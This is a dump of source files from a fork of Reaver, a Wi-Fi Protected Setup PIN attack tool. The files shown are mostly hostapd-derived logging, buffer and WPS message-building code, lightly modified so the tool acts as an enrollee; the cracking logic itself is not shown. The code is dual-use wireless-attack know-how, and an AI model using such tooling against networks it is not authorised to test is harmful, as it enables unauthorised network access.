wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len); /** * wpa_hexdump_ascii_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. This works like wpa_hexdump_ascii(), but by * default, does not include secret keys (passwords, etc.) in debug output. */ void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len); #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NO_WPA_MSG #define wpa_msg(args...) do { } while (0) #define wpa_msg_ctrl(args...) do { } while (0) #define wpa_msg_register_cb(f) do { } while (0) #else /* CONFIG_NO_WPA_MSG */ /** * wpa_msg - Conditional printf for default target and ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. This function is like wpa_printf(), but it also sends the * same message to all attached ctrl_iface monitors. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_msg(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); /** * wpa_msg_ctrl - Conditional printf for ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. * This function is like wpa_msg(), but it sends the output only to the * attached ctrl_iface monitors. In other words, it can be used for frequent * events that do not need to be sent to syslog. */ void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); typedef void (*wpa_msg_cb_func)(void *ctx, int level, const char *txt, size_t len); /** * wpa_msg_register_cb - Register callback function for wpa_msg() messages * @func: Callback function (%NULL to unregister) */ void wpa_msg_register_cb(wpa_msg_cb_func func); #endif /* CONFIG_NO_WPA_MSG */ #ifdef CONFIG_NO_HOSTAPD_LOGGER #define hostapd_logger(args...) do { } while (0) #define hostapd_logger_register_cb(f) do { } while (0) #else /* CONFIG_NO_HOSTAPD_LOGGER */ void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) PRINTF_FORMAT(5, 6); typedef void (*hostapd_logger_cb_func)(void *ctx, const u8 *addr, unsigned int module, int level, const char *txt, size_t len); /** * hostapd_logger_register_cb - Register callback function for hostapd_logger() * @func: Callback function (%NULL to unregister) */ void hostapd_logger_register_cb(hostapd_logger_cb_func func); #endif /* CONFIG_NO_HOSTAPD_LOGGER */ #define HOSTAPD_MODULE_IEEE80211 0x00000001 #define HOSTAPD_MODULE_IEEE8021X 0x00000002 #define HOSTAPD_MODULE_RADIUS 0x00000004 #define HOSTAPD_MODULE_WPA 0x00000008 #define HOSTAPD_MODULE_DRIVER 0x00000010 #define HOSTAPD_MODULE_IAPP 0x00000020 #define HOSTAPD_MODULE_MLME 0x00000040 enum hostapd_logger_level { HOSTAPD_LEVEL_DEBUG_VERBOSE = 0, HOSTAPD_LEVEL_DEBUG = 1, HOSTAPD_LEVEL_INFO = 2, HOSTAPD_LEVEL_NOTICE = 3, HOSTAPD_LEVEL_WARNING = 4 }; #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void); void wpa_debug_close_syslog(void); #else /* CONFIG_DEBUG_SYSLOG */ static inline void wpa_debug_open_syslog(void) { } static inline void wpa_debug_close_syslog(void) { } #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef EAPOL_TEST #define WPA_ASSERT(a) \ do { \ if (!(a)) { \ printf("WPA_ASSERT FAILED '" #a "' " \ "%s %s:%d\n", \ __FUNCTION__, __FILE__, __LINE__); \ exit(1); \ } \ } while (0) #else #define WPA_ASSERT(a) do { } while (0) #endif #endif /* WPA_DEBUG_H */ reaver-wps-fork-t6x-1.6.6/src/utils/wpabuf.c000077500000000000000000000154051363372615500206770ustar00rootroot00000000000000/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "wpabuf.h" #ifdef WPA_TRACE #define WPABUF_MAGIC 0x51a974e3 struct wpabuf_trace { unsigned int magic; }; static struct wpabuf_trace * wpabuf_get_trace(const struct wpabuf *buf) { return (struct wpabuf_trace *) ((const u8 *) buf - sizeof(struct wpabuf_trace)); } #endif /* WPA_TRACE */ static void wpabuf_overflow(const struct wpabuf *buf, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); } #endif /* WPA_TRACE */ wpa_printf(MSG_ERROR, "wpabuf %p (size=%lu used=%lu) overflow len=%lu", buf, (unsigned long) buf->size, (unsigned long) buf->used, (unsigned long) len); wpa_trace_show("wpabuf overflow"); abort(); } int wpabuf_resize(struct wpabuf **_buf, size_t add_len) { struct wpabuf *buf = *_buf; #ifdef WPA_TRACE struct wpabuf_trace *trace; #endif /* WPA_TRACE */ if (buf == NULL) { *_buf = wpabuf_alloc(add_len); return *_buf == NULL ? -1 : 0; } #ifdef WPA_TRACE trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_resize invalid magic"); abort(); } #endif /* WPA_TRACE */ if (buf->used + add_len > buf->size) { unsigned char *nbuf; if (buf->ext_data) { nbuf = os_realloc(buf->ext_data, buf->used + add_len); if (nbuf == NULL) return -1; os_memset(nbuf + buf->used, 0, add_len); buf->ext_data = nbuf; } else { #ifdef WPA_TRACE nbuf = os_realloc(trace, sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; trace = (struct wpabuf_trace *) nbuf; buf = (struct wpabuf *) (trace + 1); os_memset(nbuf + sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used, 0, add_len); #else /* WPA_TRACE */ nbuf = os_realloc(buf, sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; buf = (struct wpabuf *) nbuf; os_memset(nbuf + sizeof(struct wpabuf) + buf->used, 0, add_len); #endif /* WPA_TRACE */ *_buf = buf; } buf->size = buf->used + add_len; } return 0; } /** * wpabuf_alloc - Allocate a wpabuf of the given size * @len: Length for the allocated buffer * Returns: Buffer to the allocated wpabuf or %NULL on failure */ struct wpabuf * wpabuf_alloc(size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + len); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf) + len); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; return buf; } struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf)); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf)); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; buf->used = len; buf->ext_data = data; return buf; } struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len) { struct wpabuf *buf = wpabuf_alloc(len); if (buf) wpabuf_put_data(buf, data, len); return buf; } struct wpabuf * wpabuf_dup(const struct wpabuf *src) { struct wpabuf *buf = wpabuf_alloc(wpabuf_len(src)); if (buf) wpabuf_put_data(buf, wpabuf_head(src), wpabuf_len(src)); return buf; } /** * wpabuf_free - Free a wpabuf * @buf: wpabuf buffer */ void wpabuf_free(struct wpabuf *buf) { #ifdef WPA_TRACE struct wpabuf_trace *trace; if (buf == NULL) return; trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf_free: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_free magic mismatch"); abort(); } os_free(buf->ext_data); os_free(trace); #else /* WPA_TRACE */ if (buf == NULL) return; os_free(buf->ext_data); os_free(buf); #endif /* WPA_TRACE */ } void * wpabuf_put(struct wpabuf *buf, size_t len) { void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); buf->used += len; if (buf->used > buf->size) { wpabuf_overflow(buf, len); } return tmp; } /** * wpabuf_concat - Concatenate two buffers into a newly allocated one * @a: First buffer * @b: Second buffer * Returns: wpabuf with concatenated a + b data or %NULL on failure * * Both buffers a and b will be freed regardless of the return value. Input * buffers can be %NULL which is interpreted as an empty buffer. */ struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b) { struct wpabuf *n = NULL; size_t len = 0; if (b == NULL) return a; if (a) len += wpabuf_len(a); if (b) len += wpabuf_len(b); n = wpabuf_alloc(len); if (n) { if (a) wpabuf_put_buf(n, a); if (b) wpabuf_put_buf(n, b); } wpabuf_free(a); wpabuf_free(b); return n; } /** * wpabuf_zeropad - Pad buffer with 0x00 octets (prefix) to specified length * @buf: Buffer to be padded * @len: Length for the padded buffer * Returns: wpabuf padded to len octets or %NULL on failure * * If buf is longer than len octets or of same size, it will be returned as-is. * Otherwise a new buffer is allocated and prefixed with 0x00 octets followed * by the source data. The source buffer will be freed on error, i.e., caller * will only be responsible on freeing the returned buffer. If buf is %NULL, * %NULL will be returned. */ struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len) { struct wpabuf *ret; size_t blen; if (buf == NULL) return NULL; blen = wpabuf_len(buf); if (blen >= len) return buf; ret = wpabuf_alloc(len); if (ret) { os_memset(wpabuf_put(ret, len - blen), 0, len - blen); wpabuf_put_buf(ret, buf); } wpabuf_free(buf); return ret; } void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) { va_list ap; void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); int res; va_start(ap, fmt); res = vsnprintf(tmp, buf->size - buf->used, fmt, ap); va_end(ap); if (res < 0 || (size_t) res >= buf->size - buf->used) wpabuf_overflow(buf, res); buf->used += res; } reaver-wps-fork-t6x-1.6.6/src/utils/wpabuf.h000077500000000000000000000101101363372615500206700ustar00rootroot00000000000000/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPABUF_H #define WPABUF_H /* * Internal data structure for wpabuf. Please do not touch this directly from * elsewhere. This is only defined in header file to allow inline functions * from this file to access data. */ struct wpabuf { size_t size; /* total size of the allocated buffer */ size_t used; /* length of data in the buffer */ u8 *ext_data; /* pointer to external data; NULL if data follows * struct wpabuf */ /* optionally followed by the allocated buffer */ }; int wpabuf_resize(struct wpabuf **buf, size_t add_len); struct wpabuf * wpabuf_alloc(size_t len); struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len); struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len); struct wpabuf * wpabuf_dup(const struct wpabuf *src); void wpabuf_free(struct wpabuf *buf); void * wpabuf_put(struct wpabuf *buf, size_t len); struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b); struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len); void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpabuf_size - Get the currently allocated size of a wpabuf buffer * @buf: wpabuf buffer * Returns: Currently allocated size of the buffer */ static inline size_t wpabuf_size(const struct wpabuf *buf) { return buf->size; } /** * wpabuf_len - Get the current length of a wpabuf buffer data * @buf: wpabuf buffer * Returns: Currently used length of the buffer */ static inline size_t wpabuf_len(const struct wpabuf *buf) { return buf->used; } /** * wpabuf_tailroom - Get size of available tail room in the end of the buffer * @buf: wpabuf buffer * Returns: Tail room (in bytes) of available space in the end of the buffer */ static inline size_t wpabuf_tailroom(const struct wpabuf *buf) { return buf->size - buf->used; } /** * wpabuf_head - Get pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline const void * wpabuf_head(const struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline const u8 * wpabuf_head_u8(const struct wpabuf *buf) { return wpabuf_head(buf); } /** * wpabuf_mhead - Get modifiable pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline void * wpabuf_mhead(struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline u8 * wpabuf_mhead_u8(struct wpabuf *buf) { return wpabuf_mhead(buf); } static inline void wpabuf_put_u8(struct wpabuf *buf, u8 data) { u8 *pos = wpabuf_put(buf, 1); *pos = data; } static inline void wpabuf_put_le16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_LE16(pos, data); } static inline void wpabuf_put_be16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_BE16(pos, data); } static inline void wpabuf_put_be24(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 3); WPA_PUT_BE24(pos, data); } static inline void wpabuf_put_be32(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 4); WPA_PUT_BE32(pos, data); } static inline void wpabuf_put_data(struct wpabuf *buf, const void *data, size_t len) { if (data) os_memcpy(wpabuf_put(buf, len), data, len); } static inline void wpabuf_put_buf(struct wpabuf *dst, const struct wpabuf *src) { wpabuf_put_data(dst, wpabuf_head(src), wpabuf_len(src)); } static inline void wpabuf_set(struct wpabuf *buf, const void *data, size_t len) { buf->ext_data = (u8 *) data; buf->size = buf->used = len; } static inline void wpabuf_put_str(struct wpabuf *dst, const char *str) { wpabuf_put_data(dst, str, os_strlen(str)); } #endif /* WPABUF_H */ reaver-wps-fork-t6x-1.6.6/src/version.c000066400000000000000000000001131363372615500177230ustar00rootroot00000000000000#include "version.h" const char* get_version(void) { return R_VERSION; } reaver-wps-fork-t6x-1.6.6/src/version.sh000066400000000000000000000004741363372615500201250ustar00rootroot00000000000000#!/bin/sh argv0=$(echo "$0" | sed -e 's,\\,/,g') BINDIR=$(dirname "$(readlink "$0" || echo "$argv0")") if test -d "$BINDIR"/../.git ; then if type git >/dev/null 2>&1 ; then git describe --tags --match 'v[0-9]*' 2>/dev/null \ | sed -e 's/^v//' -e 's/-/-git-/' else sed 's/$/-git/' < VERSION fi else cat VERSION fi reaver-wps-fork-t6x-1.6.6/src/wps.h000066400000000000000000000033741363372615500170700ustar00rootroot00000000000000/* * Reaver - Include file for WPS functionality * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef WPSLIB_H #define WPSLIB_H #include #include #include "utils/common.h" #include "wps/wps.h" #include "wps/wps_i.h" #endif reaver-wps-fork-t6x-1.6.6/src/wps/000077500000000000000000000000001363372615500167105ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/wps/wps.c000066400000000000000000000313451363372615500176730ustar00rootroot00000000000000/* * Wi-Fi Protected Setup * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/dh_group5.h" #include "common/ieee802_11_defs.h" #include "wps_i.h" #include "wps_dev_attr.h" /** * wps_init - Initialize WPS Registration protocol data * @cfg: WPS configuration * Returns: Pointer to allocated data or %NULL on failure * * This function is used to initialize WPS data for a registration protocol * instance (i.e., each run of registration protocol as a Registrar of * Enrollee. The caller is responsible for freeing this data after the * registration run has been completed by calling wps_deinit(). */ struct wps_data * wps_init(const struct wps_config *cfg) { struct wps_data *data = os_zalloc(sizeof(*data)); if (data == NULL) return NULL; data->wps = cfg->wps; data->registrar = cfg->registrar; if (cfg->registrar) { os_memcpy(data->uuid_r, cfg->wps->uuid, WPS_UUID_LEN); } else { os_memcpy(data->mac_addr_e, cfg->wps->dev.mac_addr, ETH_ALEN); os_memcpy(data->uuid_e, cfg->wps->uuid, WPS_UUID_LEN); } if (cfg->pin) { data->dev_pw_id = data->wps->oob_dev_pw_id == 0 ? DEV_PW_DEFAULT : data->wps->oob_dev_pw_id; data->dev_password = os_malloc(cfg->pin_len); if (data->dev_password == NULL) { os_free(data); return NULL; } os_memcpy(data->dev_password, cfg->pin, cfg->pin_len); data->dev_password_len = cfg->pin_len; } data->pbc = cfg->pbc; if (cfg->pbc) { /* Use special PIN '00000000' for PBC */ data->dev_pw_id = DEV_PW_PUSHBUTTON; os_free(data->dev_password); data->dev_password = os_malloc(8); if (data->dev_password == NULL) { os_free(data); return NULL; } os_memset(data->dev_password, '0', 8); data->dev_password_len = 8; } data->state = data->registrar ? RECV_M1 : SEND_M1; if (cfg->assoc_wps_ie) { struct wps_parse_attr attr; wpa_hexdump_buf(MSG_DEBUG, "WPS: WPS IE from (Re)AssocReq", cfg->assoc_wps_ie); if (wps_parse_msg(cfg->assoc_wps_ie, &attr) < 0) { wpa_printf(MSG_DEBUG, "WPS: Failed to parse WPS IE " "from (Re)AssocReq"); } else if (attr.request_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Request Type attribute " "in (Re)AssocReq WPS IE"); } else { wpa_printf(MSG_DEBUG, "WPS: Request Type (from WPS IE " "in (Re)AssocReq WPS IE): %d", *attr.request_type); data->request_type = *attr.request_type; } } if (cfg->new_ap_settings) { data->new_ap_settings = os_malloc(sizeof(*data->new_ap_settings)); if (data->new_ap_settings == NULL) { os_free(data); return NULL; } os_memcpy(data->new_ap_settings, cfg->new_ap_settings, sizeof(*data->new_ap_settings)); } if (cfg->peer_addr) os_memcpy(data->peer_dev.mac_addr, cfg->peer_addr, ETH_ALEN); data->use_psk_key = cfg->use_psk_key; return data; } /** * wps_deinit - Deinitialize WPS Registration protocol data * @data: WPS Registration protocol data from wps_init() */ void wps_deinit(struct wps_data *data) { if (data->wps_pin_revealed) { wpa_printf(MSG_DEBUG, "WPS: Full PIN information revealed and " "negotiation failed"); if (data->registrar) wps_registrar_invalidate_pin(data->wps->registrar, data->uuid_e); } else if (data->registrar) wps_registrar_unlock_pin(data->wps->registrar, data->uuid_e); /* @@@ Free wpa key and essid pointers @@@ */ if(data->key) free(data->key); if(data->essid) free(data->essid); wpabuf_free(data->dh_privkey); wpabuf_free(data->dh_pubkey_e); wpabuf_free(data->dh_pubkey_r); wpabuf_free(data->last_msg); os_free(data->dev_password); os_free(data->new_psk); wps_device_data_free(&data->peer_dev); os_free(data->new_ap_settings); dh5_free(data->dh_ctx); os_free(data); } /** * wps_process_msg - Process a WPS message * @wps: WPS Registration protocol data from wps_init() * @op_code: Message OP Code * @msg: Message data * Returns: Processing result * * This function is used to process WPS messages with OP Codes WSC_ACK, * WSC_NACK, WSC_MSG, and WSC_Done. The caller (e.g., EAP server/peer) is * responsible for reassembling the messages before calling this function. * Response to this message is built by calling wps_get_msg(). */ enum wps_process_res wps_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { if (wps->registrar) return wps_registrar_process_msg(wps, op_code, msg); else return wps_enrollee_process_msg(wps, op_code, msg); } /** * wps_get_msg - Build a WPS message * @wps: WPS Registration protocol data from wps_init() * @op_code: Buffer for returning message OP Code * Returns: The generated WPS message or %NULL on failure * * This function is used to build a response to a message processed by calling * wps_process_msg(). The caller is responsible for freeing the buffer. */ struct wpabuf * wps_get_msg(struct wps_data *wps, enum wsc_op_code *op_code) { //if (wps->registrar) // return wps_registrar_get_msg(wps, op_code); // else return wps_enrollee_get_msg(wps, op_code); } /** * wps_is_selected_pbc_registrar - Check whether WPS IE indicates active PBC * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: 1 if PBC Registrar is active, 0 if not */ int wps_is_selected_pbc_registrar(const struct wpabuf *msg) { struct wps_parse_attr attr; /* * In theory, this could also verify that attr.sel_reg_config_methods * includes WPS_CONFIG_PUSHBUTTON, but some deployed AP implementations * do not set Selected Registrar Config Methods attribute properly, so * it is safer to just use Device Password ID here. */ if (wps_parse_msg(msg, &attr) < 0 || !attr.selected_registrar || *attr.selected_registrar == 0 || !attr.dev_password_id || WPA_GET_BE16(attr.dev_password_id) != DEV_PW_PUSHBUTTON) return 0; return 1; } /** * wps_is_selected_pin_registrar - Check whether WPS IE indicates active PIN * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: 1 if PIN Registrar is active, 0 if not */ int wps_is_selected_pin_registrar(const struct wpabuf *msg) { struct wps_parse_attr attr; /* * In theory, this could also verify that attr.sel_reg_config_methods * includes WPS_CONFIG_LABEL, WPS_CONFIG_DISPLAY, or WPS_CONFIG_KEYPAD, * but some deployed AP implementations do not set Selected Registrar * Config Methods attribute properly, so it is safer to just use * Device Password ID here. */ if (wps_parse_msg(msg, &attr) < 0) return 0; if (!attr.selected_registrar || *attr.selected_registrar == 0) return 0; if (attr.dev_password_id != NULL && WPA_GET_BE16(attr.dev_password_id) == DEV_PW_PUSHBUTTON) return 0; return 1; } /** * wps_get_uuid_e - Get UUID-E from WPS IE * @msg: WPS IE contents from Beacon or Probe Response frame * Returns: Pointer to UUID-E or %NULL if not included * * The returned pointer is to the msg contents and it remains valid only as * long as the msg buffer is valid. */ const u8 * wps_get_uuid_e(const struct wpabuf *msg) { struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) < 0) return NULL; return attr.uuid_e; } /** * wps_build_assoc_req_ie - Build WPS IE for (Re)Association Request * @req_type: Value for Request Type attribute * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_assoc_req_ie(enum wps_request_type req_type) { struct wpabuf *ie; u8 *len; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for (Re)Association " "Request"); ie = wpabuf_alloc(100); if (ie == NULL) return NULL; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (wps_build_version(ie) || wps_build_req_type(ie, req_type)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } /** * wps_build_assoc_resp_ie - Build WPS IE for (Re)Association Response * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_assoc_resp_ie(void) { struct wpabuf *ie; u8 *len; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for (Re)Association " "Response"); ie = wpabuf_alloc(100); if (ie == NULL) return NULL; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (wps_build_version(ie) || wps_build_resp_type(ie, WPS_RESP_AP)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } /** * wps_build_probe_req_ie - Build WPS IE for Probe Request * @pbc: Whether searching for PBC mode APs * @dev: Device attributes * @uuid: Own UUID * @req_type: Value for Request Type attribute * Returns: WPS IE or %NULL on failure * * The caller is responsible for freeing the buffer. */ struct wpabuf * wps_build_probe_req_ie(int pbc, struct wps_device_data *dev, const u8 *uuid, enum wps_request_type req_type) { struct wpabuf *ie; u8 *len; u16 methods; wpa_printf(MSG_DEBUG, "WPS: Building WPS IE for Probe Request"); ie = wpabuf_alloc(200); if (ie == NULL) return NULL; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); len = wpabuf_put(ie, 1); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); if (pbc) methods = WPS_CONFIG_PUSHBUTTON; else { methods = WPS_CONFIG_LABEL | WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; #ifdef CONFIG_WPS_UFD methods |= WPS_CONFIG_USBA; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC methods |= WPS_CONFIG_NFC_INTERFACE; #endif /* CONFIG_WPS_NFC */ } if (wps_build_version(ie) || wps_build_req_type(ie, req_type) || wps_build_config_methods(ie, methods) || wps_build_uuid_e(ie, uuid) || wps_build_primary_dev_type(dev, ie) || wps_build_rf_bands(dev, ie) || wps_build_assoc_state(NULL, ie) || wps_build_config_error(ie, WPS_CFG_NO_ERROR) || wps_build_dev_password_id(ie, pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT)) { wpabuf_free(ie); return NULL; } *len = wpabuf_len(ie) - 2; return ie; } void wps_free_pending_msgs(struct upnp_pending_message *msgs) { struct upnp_pending_message *p, *prev; p = msgs; while (p) { prev = p; p = p->next; wpabuf_free(prev->msg); os_free(prev); } } int wps_attr_text(struct wpabuf *data, char *buf, char *end) { struct wps_parse_attr attr; char *pos = buf; int ret; if (wps_parse_msg(data, &attr) < 0) return -1; if (attr.wps_state) { if (*attr.wps_state == WPS_STATE_NOT_CONFIGURED) ret = os_snprintf(pos, end - pos, "wps_state=unconfigured\n"); else if (*attr.wps_state == WPS_STATE_CONFIGURED) ret = os_snprintf(pos, end - pos, "wps_state=configured\n"); else ret = 0; if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.ap_setup_locked && *attr.ap_setup_locked) { ret = os_snprintf(pos, end - pos, "wps_ap_setup_locked=1\n"); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.selected_registrar && *attr.selected_registrar) { ret = os_snprintf(pos, end - pos, "wps_selected_registrar=1\n"); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.dev_password_id) { ret = os_snprintf(pos, end - pos, "wps_device_password_id=%u\n", WPA_GET_BE16(attr.dev_password_id)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.sel_reg_config_methods) { ret = os_snprintf(pos, end - pos, "wps_selected_registrar_config_methods=" "0x%04x\n", WPA_GET_BE16(attr.sel_reg_config_methods)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.primary_dev_type) { char devtype[WPS_DEV_TYPE_BUFSIZE]; ret = os_snprintf(pos, end - pos, "wps_primary_device_type=%s\n", wps_dev_type_bin2str(attr.primary_dev_type, devtype, sizeof(devtype))); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.dev_name) { char *str = os_malloc(attr.dev_name_len + 1); size_t i; if (str == NULL) return pos - buf; for (i = 0; i < attr.dev_name_len; i++) { if (attr.dev_name[i] < 32) str[i] = '_'; else str[i] = attr.dev_name[i]; } str[i] = '\0'; ret = os_snprintf(pos, end - pos, "wps_device_name=%s\n", str); os_free(str); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } if (attr.config_methods) { ret = os_snprintf(pos, end - pos, "wps_config_methods=0x%04x\n", WPA_GET_BE16(attr.config_methods)); if (ret < 0 || ret >= end - pos) return pos - buf; pos += ret; } return pos - buf; } reaver-wps-fork-t6x-1.6.6/src/wps/wps.h000066400000000000000000000450101363372615500176720ustar00rootroot00000000000000/* * Wi-Fi Protected Setup * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_H #define WPS_H #include "wps_defs.h" /** * enum wsc_op_code - EAP-WSC OP-Code values */ enum wsc_op_code { WSC_UPnP = 0 /* No OP Code in UPnP transport */, WSC_Start = 0x01, WSC_ACK = 0x02, WSC_NACK = 0x03, WSC_MSG = 0x04, WSC_Done = 0x05, WSC_FRAG_ACK = 0x06 }; struct wps_registrar; struct upnp_wps_device_sm; struct wps_er; /** * struct wps_credential - WPS Credential * @ssid: SSID * @ssid_len: Length of SSID * @auth_type: Authentication Type (WPS_AUTH_OPEN, .. flags) * @encr_type: Encryption Type (WPS_ENCR_NONE, .. flags) * @key_idx: Key index * @key: Key * @key_len: Key length in octets * @mac_addr: MAC address of the Credential receiver * @cred_attr: Unparsed Credential attribute data (used only in cred_cb()); * this may be %NULL, if not used * @cred_attr_len: Length of cred_attr in octets */ struct wps_credential { char ssid[32]; size_t ssid_len; u16 auth_type; u16 encr_type; u8 key_idx; u8 key[64]; size_t key_len; u8 